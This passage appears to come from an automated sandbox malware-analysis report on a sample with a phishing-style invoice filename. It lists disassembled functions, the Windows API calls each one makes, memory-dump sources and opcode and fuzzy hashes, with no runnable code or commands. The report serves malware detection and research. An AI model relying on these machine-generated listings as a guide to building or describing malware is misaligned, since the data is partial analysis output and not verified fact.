                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                          • String ID:
                                          • API String ID: 3495660284-0
                                          • Opcode ID: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
                                          • Instruction ID: c0d5b59c8b9084ef0a5212f46b36de0b3fb5a8468090cd03c061fc2099eb7203
                                          • Opcode Fuzzy Hash: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
                                          • Instruction Fuzzy Hash: A8F0AF72141201BBD210AB64EE8CDAFB77CFF88311F40092AFA0192560CBB4E420CBB6
                                          Function 00410AB0 Relevance: 9.0, APIs: 6, Instructions: 40keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00410AE8
                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410AF0
                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00410AFB
                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00410B06
                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 00410B0E
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00410B16
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Virtual
                                          • String ID:
                                          • API String ID: 4278518827-0
                                          • Opcode ID: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
                                          • Instruction ID: ec5b0e47a8727e2ef01e8325cfcf1e1c5a721ad9102a6d662b709b351e7b749c
                                          • Opcode Fuzzy Hash: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
                                          • Instruction Fuzzy Hash: 79016770106B88ADD3309F668C84B47FFF8EF95704F01491DD1D507A52C6B5A84CCB69
                                          Function 004151BB Relevance: 9.0, APIs: 6, Instructions: 29threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ___set_flsgetvalue.LIBCMT ref: 004151C0
                                            • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                            • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                                          • ___fls_getvalue@4.LIBCMT ref: 004151CB
                                            • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                                          • ___fls_setvalue@8.LIBCMT ref: 004151DD
                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
                                          • ExitThread.KERNEL32 ref: 004151ED
                                          • __freefls@4.LIBCMT ref: 00415209
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Value$ErrorExitLastThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                          • String ID:
                                          • API String ID: 442100245-0
                                          • Opcode ID: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
                                          • Instruction ID: 28e435cdead01fd65333368df2891c86ea6a44e569ea48f613a140ff37384f5b
                                          • Opcode Fuzzy Hash: 3ee415d2c127bcf6c5e710345aa78d19554ad97a0662bc484850007a9fc41a8b
                                          • Instruction Fuzzy Hash: FEF01975544700AFC704BF76C54D9CE7BB99F94349720845EB80887222DA3CD8C2C669
                                          Function 0045F790 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 216windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                            • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                                          • GetMenuItemInfoW.USER32(?,00000000), ref: 0045F85C
                                          • _wcslen.LIBCMT ref: 0045F94A
                                          • SetMenuItemInfoW.USER32(00000011,00000000,00000000,?), ref: 0045F9AE
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • SetMenuDefaultItem.USER32(00000000,000000FF,00000000,?,00000000), ref: 0045F9CA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ItemMenu$Info_wcslen$Default_malloc_wcscpy
                                          • String ID: 0
                                          • API String ID: 621800784-4108050209
                                          • Opcode ID: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
                                          • Instruction ID: 8916cda2fcff4f3da81aa675480f1736598f59ba0f795e6899437ff2d0190f01
                                          • Opcode Fuzzy Hash: ba56779765e6f71d67f6246429d0af9e67b9def047912433c0c15b7e926c8fa5
                                          • Instruction Fuzzy Hash: E061EDB1604301AAD710EF69D885B6B77A4AF99315F04493FF98087292E7BCD84CC79B
                                          Function 00478172 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 176COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • SetErrorMode.KERNEL32 ref: 004781CE
                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00478387
                                            • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                                          • SetErrorMode.KERNEL32(?), ref: 00478270
                                          • SetErrorMode.KERNEL32(?), ref: 00478340
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$AttributesFile_memmove_wcslen
                                          • String ID: \VH
                                          • API String ID: 3884216118-234962358
                                          • Opcode ID: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
                                          • Instruction ID: 3f1cdca54a202f1bd1938e87a451cd9606667cca5306a7eaf6ab6c0a6d737147
                                          • Opcode Fuzzy Hash: 178592a45c440348c39a3b7bd59973aab5981f95bb0f1257baca06643fcd57b5
                                          • Instruction Fuzzy Hash: F9619F715043019BC310EF25C585A5BB7E0BFC8708F04896EFA996B392CB76ED45CB96
                                          Function 00448480 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448539
                                          • IsMenu.USER32(?), ref: 0044854D
                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0044859B
                                          • DrawMenuBar.USER32 ref: 004485AF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$Item$DrawInfoInsert
                                          • String ID: 0
                                          • API String ID: 3076010158-4108050209
                                          • Opcode ID: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
                                          • Instruction ID: 7b58e0297b022ec9ba855d833b0382692745775969200e6848d17b537ef0d45f
                                          • Opcode Fuzzy Hash: 1799694fe08fa7a149e3e917ddeca428ef12783b8609c92dee7a023332204936
                                          • Instruction Fuzzy Hash: 1F417975A00209AFEB10DF55D884B9FB7B5FF59300F14852EE9059B390DB74A845CFA8
                                          Function 00469CDB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469D69
                                          • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00469D7C
                                          • SendMessageW.USER32(?,00000189,00000000,00000000), ref: 00469DAC
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$_memmove_wcslen
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 1589278365-1403004172
                                          • Opcode ID: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
                                          • Instruction ID: b025c67d46b61e1fa51b41144ded2117d8c1ab71acdc4e5cb50a5164a05e923b
                                          • Opcode Fuzzy Hash: 4395ff4c2c8cdf0c8fa99ec605851f177d12593d5a8a66f2884a0b9051c55526
                                          • Instruction Fuzzy Hash: 8D31287160010477DB10BB69CC45BEF775C9F86324F10852FF918AB2D1DABC9E4583A6
                                          Function 00443442 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Handle
                                          • String ID: nul
                                          • API String ID: 2519475695-2873401336
                                          • Opcode ID: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
                                          • Instruction ID: 058e2060cb23de8d889deff533ab301820a4ae088d702658d54b05e79d5a48de
                                          • Opcode Fuzzy Hash: efdaae6ab43bf4356d88622121a7e42c7f624cc6de1d12637521731ec53ca4c5
                                          • Instruction Fuzzy Hash: 84319571500204ABEB20DF68DC46BEB77A8EF04721F104A4EFD50973D1E7B59A50CBA5
                                          Function 0044334F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetStdHandle.KERNEL32(000000F6), ref: 0044337D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Handle
                                          • String ID: nul
                                          • API String ID: 2519475695-2873401336
                                          • Opcode ID: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
                                          • Instruction ID: 7fb8f1e98e57093f7bc771e71f756598ee5282d4f5ffeaa4ddc08f3ab3272662
                                          • Opcode Fuzzy Hash: 97b946d9a765a46b1e85699804a5cf49c651f34dfecb3a2317456e71fe30ed78
                                          • Instruction Fuzzy Hash: 05219331600204ABE720DF689C49FAB77A8EF55731F20474EFDA0972D0EBB59A50C795
                                          Function 00440C49 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: SysAnimate32
                                          • API String ID: 0-1011021900
                                          • Opcode ID: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
                                          • Instruction ID: b1a10ecfd0a3fc3d2af2854cd73c9de1262d8b9fd4b2252518a975ef6c54cff1
                                          • Opcode Fuzzy Hash: 8caf53187f6e77aecacb49307b2e697766faa1bc511b1160dce697a174d3407c
                                          • Instruction Fuzzy Hash: 0D21C975600205ABFB149EA9EC81FAB73DCEB95324F20471BF711972C0D279EC518768
                                          Function 00461554 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                            • Part of subcall function 0043646A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
                                            • Part of subcall function 0043646A: GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
                                            • Part of subcall function 0043646A: GetCurrentThreadId.KERNEL32 ref: 004364A3
                                            • Part of subcall function 0043646A: AttachThreadInput.USER32(00000000), ref: 004364AA
                                          • GetFocus.USER32 ref: 0046157B
                                            • Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364C3
                                            • Part of subcall function 004364B5: GetParent.USER32(?), ref: 004364CF
                                          • GetClassNameW.USER32(?,?,00000100), ref: 004615C4
                                          • EnumChildWindows.USER32(?,Function_00045B98,?), ref: 004615EF
                                          • __swprintf.LIBCMT ref: 00461608
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_memmove_wcslen
                                          • String ID: %s%d
                                          • API String ID: 2645982514-1110647743
                                          • Opcode ID: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
                                          • Instruction ID: 8eac61321038dbd32bfe14263504560db7c98c8fbeeeb2eb49a46d34c9d63f73
                                          • Opcode Fuzzy Hash: 964dbc2a73d3b51658c129c0940897b8911b785c40af9afe88b96a44e5c449bd
                                          • Instruction Fuzzy Hash: 272180756007096BD610AF69DC89FAF73A8FB88704F00841FF918A7241DAB8A9418B69
                                          Function 00462A31 Relevance: 7.7, APIs: 5, Instructions: 227COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
                                          • Instruction ID: b0f148a0463f8e77612455c4d0488571574065cadd758f34d18f988e9301810f
                                          • Opcode Fuzzy Hash: 0beeaaa579c9339ee211e6c40176bce708d39a94b7630d2852c1f2343b6e5e4f
                                          • Instruction Fuzzy Hash: 2A819F74600604BFEB24CF95C994FBB7B68EF59350F10804EF8959B341E6B8AC45CB6A
                                          Function 004757A7 Relevance: 7.7, APIs: 5, Instructions: 220COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcessId.KERNEL32(?), ref: 0047584D
                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0047585B
                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0047587F
                                          • CloseHandle.KERNEL32(00000000), ref: 00475A4D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$CloseCountersCurrentHandleOpen
                                          • String ID:
                                          • API String ID: 3488606520-0
                                          • Opcode ID: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
                                          • Instruction ID: 747e8e91012d04cc7bcfbda4f2b49d0ca9967bea8b965680eccea6cdbc9dea0c
                                          • Opcode Fuzzy Hash: ce4ed15879a0d4705bc9675b55154bd71a0022cbb1f9dd3a70cee976304ba055
                                          • Instruction Fuzzy Hash: 82817170A047029FD310DF65C981B4BBBE1BF84704F10892EF6999B3D2DA75E944CB96
                                          Function 0046B4CF Relevance: 7.7, APIs: 5, Instructions: 157registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B5B5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ConnectRegistry_memmove_wcslen
                                          • String ID:
                                          • API String ID: 15295421-0
                                          • Opcode ID: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
                                          • Instruction ID: 481e56be03c4cee60d8ca92471cfa4b3875eab78bcfcbf7fb961631f720e0f99
                                          • Opcode Fuzzy Hash: d8d3d6a2cecaed762a510ed52f320a3b4f5546c74b9e94ec6e10ba7928b5d5b3
                                          • Instruction Fuzzy Hash: 7D515F71208301ABD304EF65C885E5BB7A8FF88704F10892EB54597291D774E945CBA6
                                          Function 00464812 Relevance: 7.6, APIs: 5, Instructions: 145libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryW.KERNEL32(00000000,?,?,?), ref: 0046485D
                                          • GetProcAddress.KERNEL32(?,?), ref: 004648F7
                                          • GetProcAddress.KERNEL32(?,00000000), ref: 00464916
                                          • GetProcAddress.KERNEL32(?,?), ref: 0046495A
                                          • FreeLibrary.KERNEL32(?,?,?,?), ref: 0046497C
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressProc$Library$FreeLoad
                                          • String ID:
                                          • API String ID: 2449869053-0
